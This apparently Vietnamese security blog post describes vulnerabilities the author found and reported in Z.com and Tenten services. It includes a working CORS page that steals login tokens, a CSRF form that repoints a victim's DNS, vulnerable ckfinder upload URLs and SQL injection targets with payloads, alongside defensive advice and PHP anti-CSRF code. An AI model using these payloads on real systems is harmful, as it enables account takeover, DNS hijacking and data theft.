Tôi Đã Hack Zcom Tenten Như Thế nào? - MTD SEC

MTD SEC

Chia Sẻ Để Thành Công

Home Top Ad

Post Top Ad

Thứ Ba, 30 tháng 7, 2019

Tôi Đã Hack Zcom Tenten Như Thế nào?


Trước khi vào chi tiết cần tìm hiểu một số khái niệm









Access Token là đoạn mã sinh ra ngẫu nhiên được sử dụng bí mật cho mỗi người dùng, ứng dụng khi thực hiện các thao tác quan trọng, hay truy cập vào tài khoản của người dùng. Bạn có thể tạm hiểu access token trong trường hợp này như một đường hầm bí mật để vào ngôi nhà của bạn. Các hình thức xác thực như username, password giống như khóa và chìa khóa cửa nhà của bạn vậy. Access token sẽ không đi qua cánh cửa này.





CSRF ( Cross Site Request Forgery) là kĩ thuật tấn công bằng cách sử dụng quyền chứng thực của người sử dụng đối với 1 website khác. Các ứng dụng web hoạt động theo cơ chế nhận các câu lệnh HTTP từ người sử dụng, sau đó thực thi các câu lệnh này.





Hacker sử dụng phương pháp CSRF để lừa trình duyệt của người dùng gửi đi các câu lệnh http đến các ứng dụng web. Trong trường hợp phiên làm việc của người dùng chưa hết hiệu lực thì các câu lệnh trên sẽ dc thực hiện với quyền chứng thực của người sử dụng.





Các ứng dụng web hoạt động theo cơ chế nhận các câu lệnh HTTP từ người sử dụng, sau đó thực thi các câu lệnh này. Hacker sử dụng phương pháp CSRF để lừa trình duyệt của người dùng gửi đi các câu lệnh http đến các ứng dụng web. Điều đó có thể thực hiện bằng cách chèn mã độc hay link đến trang web mà người dùng đã được chứng thực. Trong trường hợp phiên làm việc của người dùng chưa hết hiệu lực thì các câu lệnh trên sẽ được thực hiện với quyền chứng thực của người sử dụng









1: Lỗi trên z.com: Đăng Nhập Không Cần Mật Khẩu





Quá trình đăng nhập của z.com được chia thành các giao đoạn:





- nhập mật khẩu login vào zcom để lấy cookie





- tạo token dựa trên cookie <= lỗ hổng nằm ở đây dẫn tới hệ thống bị lỗi





- truyền token cho trang phía sau để đăng nhập vào trang myzcom (cp-vn.cloud.z.com)





Vấn đề lỗi này phát sinh từ việc cấu hình trang tạo token sai và trang myzcom chỉ cần biết token đó live là có thể vào được bên trong dẫn tới lỗ hổng bảo mật cụ thể như sau:
Sau khi đăng nhập bằng mật khẩu thành công thì hệ thống sẽ tạo truy vấn tới một link để lấy token đó là:





https://domain.z.com/vn/cart/jsonp/GetToken/?callback=jQuery1113022235719036064883_1560910181331&_=1560910181334
đoạn jQuery phía sau jQuery1113022235719036064883_1560910181331&_=1560910181334 thực chất là vô nghĩa bỏ đi không ảnh hưởng gì cả nên hoàn toàn có thể bỏ qua





Một số truy vấn
kết quả request





kết quả response









Ở đây tôi đọc header trả về thấy có "X-Frame-Options:"SAMEORIGIN"" với cấu hình này tôi có thể tạo một cuộc tấn công cors vô cùng nguy hiểm









Chúng ta có thể thấy cả quá trình response và request chỉ đơn là là Methol GET mà không hề có thêm tham số nào (token get dựa trên cookie) cùng với đó header trả về có vấn đề với CORS (Cross-origin resource sharing) với code như bên dưới tôi hoàn toàn có thể chiếm token của một nạn nhân nào đó và đăng nhập vào tài khoản của nạn nhân một cách hợp lệ.





<!DOCTYPE html>
<html>
<head><title>Exploiting CORS</title></head>


// <script type="text/javascript">
// window.onload = function(){
// document.location = 'cors_everywhere-18.11.13.2043-fx.xpi';
// }
// </script>




<center>
<h1>Getting your information through CORS</h1>

<script type="text/javascript">
var http = new XMLHttpRequest();
http.open("get", "https://domain.z.com/vn/cart/jsonp/GetToken/?callback", true);
http.withCredentials = true;
http.onreadystatechange = function()
{
if (http.readyState == 4 && http.status == 200)
{
alert(this.responseText);
}
};
// http.setRequestHeader("Content-type", "application/text");
http.send();

</script>

</center>









Sau khi chiếm đoạt được token thì tôi chỉ cần vào link sau thay thế token và đăng nhập là thành công:





https://cp-vn.cloud.z.com/TokenLogin?token=F4EQtsdUxRPA6vAhTigafZPZr35QDDRfYQhscA9rPyhXh_.Uw4Q-7I1&service=cloud





Để hiểu rõ hơn hãy xem video sau đây





















Để giải quyết vấn đề này hãy chỉ định rõ domain nào được phép lấy token domain nào và không được phép khi nằm ngoài phạm vi trong cấu hình nginx để tránh bị lộ token đăng nhập và token đăng nhập khi get phải có các tham số riêng của mỗi user kèm theo





Time line:





9h46 19/06/2019 report to Zcom and Pham Tiến Hùng





2 Lỗ Hổng CSRF trong trang thay đổi DNS của tenten (domain.tenten.vn)





Khi tôi sử dụng chức năng có sẵn trong trang domain tôi nhận thấy trang này cấu hình mà không có csrf token khi truyền tải làm tôi nhớ câu nói tôi là ai và đây là đâu nó đơn sơ tới mức tối giản không thể tin nổi.









chính vì không có gì xác thực tôi là ai và đây là đâu nên việc tấn công csrf chắc chắn thành công. nên tôi dựng tạm một playload đơn giản.





Điều kiện thực thi người dùng đã login vào trang domain.tenten.vn và vào link tấn công csrf









code csrf





<html>

<body>
<script>history.pushState('', '', '/')</script>
<form action="https://domain.tenten.vn/DnsDomainDefaul/issertDefaultIp/0.4935071197027373" method="POST">
<input type="hidden" name="ip" value="192.168.62.40" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>




Và kết quả













Sau khi gửi csrf













Đối với các trang web quan trọng như vậy thì bắt buộc phải sử dụng token khi gửi thông tin lên server để nhằm hạn chế việc tấn công chiếm quyền bằng csrf





Như vậy chỉ qua csrf tôi đã trỏ domain của nạn nhân đi bất cứ đâu mà tôi muốn gây thiệt hại nặng cho nạn nhân mà không hề hay biết





Về Phòng chống tôi có thể làm một số việc như sau để ngăn chặn





Sử dụng GET và POST đúng cách. Dùng GET nếu thao tác là truy vấn dữ liệu. Dùng POST nếu các thao tác tạo ra sự thay đổi hệ thống (theo khuyến cáo của W3C tổ chức tạo ra chuẩn http) Nếu ứng dụng của bạn theo chuẩn RESTful, bạn có thể dùng thêm các HTTP verbs, như PATCH, PUT hay DELETE





Captcha được sử dụng để nhận biết đối tượng đang thao tác với hệ thống là con người hay không? Các thao tác quan trọng như "đăng nhập" hay là "chuyển khoản" ,"thanh toán" thường là hay sử dụng captcha. Tuy nhiên, việc sử dụng captcha có thể gây khó khăn cho một vài đối tượng người dùng và làm họ khó chịu. Các thông báo xác nhận cũng thường được sử dụng, ví dụ như việc hiển thị một thông báo xác nhận "bạn có muốn xóa hay k" cũng làm hạn chế các kĩ thuật Cả hai cách trên vẫn có thể bị vượt qua nếu kẻ tấn công có một kịch bản hoàn hảo và kết hợp với lỗi XSS.

Tạo ra một token tương ứng với mỗi form, token này sẽ là duy nhất đối với mỗi form và thường thì hàm tạo ra token này sẽ nhận đối số là"SESSION" hoặc được lưu thông tin trong SESSION. Khi nhận lệnh HTTP POST về, hệ thống sẽ thực hiên so khớp giá trị token này để quyết định có thực hiện hay không. dưới đây là ví dụ






// Thiết lập giá trị cấu hình cho hàm khởi tạo
// Sau đó hệ thống sẽ tự check token theo cấu hình mà bạn config
$token = new Csrf(true, true, true);

// Lấy token name
echo $token->get_token_name();

// Lấy token value
echo $token->get_token_value();

// Lấy URL có token
echo $token->create_link('domain.com/admin.php');

// Bây giờ bạn có thể đưa nó vào hệ thống

class Csrf
{
// Tên kiểm tra token
private $_csrf_token_name = 'cms-token-name';

// Thời gian sống của session, 3600 = 1h
private $_csrf_time_live = 3600;

private $_csrf_value = '';


// Hàm khởi tạo, có hai tham số
// - $use_token : nếu true thì có sử dụng validate token
// - $token_post: nếu true thì nếu method = post thì sẽ validate token trong form
// - $token_get : nếu true thì nếu method = get thì sẽ validate token trên url
function __construct($use_token = true, $token_post = false, $token_get = false)
{
// Nếu không muốn sử dụng token thì dừng
if (!$use_token){
return;
}

// Tạo CSRF Token
$this->__create_csrf_token();

// Nếu có validate cho phương thức POST
if ($token_post && !$this->__validate_post()){
die ('Token sai');
}

// Nếu có validate cho phương thức GET
if ($token_get && !$this->__validate_get()){
die ('Token sai');
}
}

// Mỗi người dùng sẽ có một mã token riêng biệt,
// nên trong hàm này ta sẽ tạo một quy luật riêng để tạo token nhé
private function __create_csrf_token()
{
// Khởi tạo token name
$this->_csrf_token_name = 'token'.md5($_SERVER['REMOTE_ADDR'].$_SERVER['HTTP_USER_AGENT'].'@#$%^+&*(-)');

// Nếu token chưa dược khởi tạo thì khởi tạo
if (!isset($_COOKIE[$this->_csrf_token_name]))
{
// Tạo token
$token = md5($_SERVER['REMOTE_ADDR'].$_SERVER['HTTP_USER_AGENT']);

// Lưu token trong 1h
setcookie($this->_csrf_token_name, $token, time() + $this->_csrf_time_live);
}
else{
$token = $_COOKIE[$this->_csrf_token_name];
setcookie($this->_csrf_token_name, $token, time() + $this->_csrf_time_live);
}
$this->_csrf_value = $token;
}

// Kiểm tra phương thức POST
private function __validate_post()
{
// Kiểm tra nếu phương thức hiện tại là POST
if ($_SERVER['REQUEST_METHOD'] == 'POST')
{
// Kiểm tra có tồn tại token không
if (!isset($_POST[$this->_csrf_token_name]) || !isset($_COOKIE[$this->_csrf_token_name])){
return false;
}
// Nếu tokeon không phù hợp
else if ($_POST[$this->_csrf_token_name] != $_COOKIE[$this->_csrf_token_name]){
return false;
}
}
return true;
}


// Kiểm tra phương thức GET
private function __validate_get()
{
// Kiểm tra nếu phương thức hiện tại là POST
if ($_SERVER['REQUEST_METHOD'] == 'GET')
{
// Kiểm tra có tồn tại token không
if (!isset($_GET[$this->_csrf_token_name]) || !isset($_COOKIE[$this->_csrf_token_name])){
return false;
}
// Nếu tokeon không phù hợp
else if ($_GET[$this->_csrf_token_name] != $_COOKIE[$this->_csrf_token_name]){
return false;
}
}
return true;
}

// Lấy token name
function get_token_name(){
return $this->_csrf_token_name;
}

// Lấy token value
function get_token_value(){
return $this->_csrf_value;
}

// Tạo link có token
function create_link($url){
return $url.'?'.$this->_csrf_token_name.'='.$this->_csrf_value;
}
}




Một cookie không thể dùng chung cho các domain khác nhau,chính vì vậy việc sử dụng "admin.site.com" thay vì sử dụng "site.com/admin" là an toàn hơn.





Kiểm tra xem các câu lệnh http gửi đến hệ thống xuất phát từ đâu. Một ứng dụng web có thể hạn chế chỉ thực hiện các lệnh http gửi đến từ các trang đã được chứng thực. Tuy nhiên cách làm này có nhiều hạn chế và không thật sự hiệu quả.





Đối với các website có tính quan trọng tuyệt đối không cấu hình "X-Frame-Options:"SAMEORIGIN"" đây là một cách cấu hình vô cùng cẩu thả và tai hại nó hoàn toàn bị cors qua mặt dễ dàng thay vào đó hãy chỉnh định rõ là domain nào được phép sẽ tốt hơn khi để là
SAMEORIGIN





Lỗ Hổng ckfinder upload file





Sau khi lòng vòng vài domain và dịch vụ tenten tôi phát hiện một trang của tenten sử dụng ckfinder bản cũ tại: s3mail.tenten.vn/Support/setting









Và đây là cái gi tôi thấy sau đó
https://s3mail.tenten.vn/js/ckfinder/ckfinder.html









Phần upload demo chạy bình thường vậy là song rồi và tôi phát hiện đây là bản khá cũ của ckfinder cho phép upload ảnh lên một cách không có quản lý.





sau khi đọc config của phần mềm này: s3mail.tenten.vn/js/ckeditor/config.js tôi thấy thêm domain app-sendmagic.tenten.vn/js/ckfinder/ckfinder.html cũng mắc lỗi tương tự









S3mail SQL Injection





Mình dùng Acunetix scan thử domain s3mail.tenten.vn thì phát hiện có lỗi sql injection sau đó mình đưa vào sqlmap để test thử thì kết quả





target: s3mail.tenten.vn/Support/group?gid=6





kết quả pentest













Tenten Shop SQL Injection





khi mình vào tentenshop mình thấy có nhiều vấn đề và quyết định voc thử các tính năng và phát hiện lỗ hổng sql injection.





Target: http://www.tentenshop.vn/?mode=ajax&exec=1&mode=tin-tuc&tin=28%20AND%203*2*1=6%20AND%20501=501





Đưa nó lên sqlmap thôi vậy là easy









Như vậy sau một vòng lượn lờ dùng web thì mình đã phát hiện nhiều lỗ hổng rất nghiêm trọng của tenten và zcom.





Timeline





  • 24/6/2019: Report Tenten Vulnerability
  • 24/06/2019 Tenten Confirm Vulnerability
  • 12/8/2019 Recheck Tenten Fixed Vulnerability





Không có nhận xét nào:

Đăng nhận xét

Post Top Ad